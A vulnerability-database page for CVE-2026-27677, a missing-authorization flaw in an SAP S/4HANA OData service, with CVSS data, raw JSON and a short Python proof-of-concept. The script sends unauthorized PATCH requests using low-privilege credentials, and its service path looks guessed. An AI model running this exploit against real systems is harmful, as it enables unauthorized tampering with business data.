Security Vulnerability Report
中文
CVE-2026-27677 CVSS 6.5 MEDIUM

CVE-2026-27677

Published: 2026-04-14 00:16:06
Last Modified: 2026-04-17 15:18:17

Description

Due to missing authorization checks in the SAP S/4HANA OData Service (Manage Reference Equipment), an attacker could update and delete child entities via OData services without proper authorization. This vulnerability has a high impact on integrity, while confidentiality and availability are not impacted.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

SAP S/4HANA (具体受影响版本请参考SAP Security Note 3715097)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "https://<sap-host>/sap/opu/odata/sap/Z_MANAGE_REF_EQUIPMENT/ReferenceEquipmentSet('<EntityID>')" low_priv_user = "<low_priv_username>" low_priv_pass = "<low_priv_password>" # Auth header using Basic Auth auth = (low_priv_user, low_priv_pass) headers = { "Content-Type": "application/json", "Accept": "application/json", # CSRF token usually required for state-changing requests in SAP # "x-csrf-token": "<fetch_token_first>" } # Payload to update the child entity without proper authorization malicious_payload = { "Description": "Updated by Attacker via CVE-2026-27677", "Status": "Inactive" } try: # Sending a PATCH request to update the entity response = requests.patch(target_url, headers=headers, auth=auth, json=malicious_payload, verify=False) if response.status_code == 200 or response.status_code == 204: print("[+] Exploit successful! Entity updated without proper authorization.") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27677", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:06.130", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to missing authorization checks in the SAP S/4HANA OData Service (Manage Reference Equipment), an attacker could update and delete child entities via OData services without proper authorization. This vulnerability has a high impact on integrity, while confidentiality and availability are not impacted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3715097", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}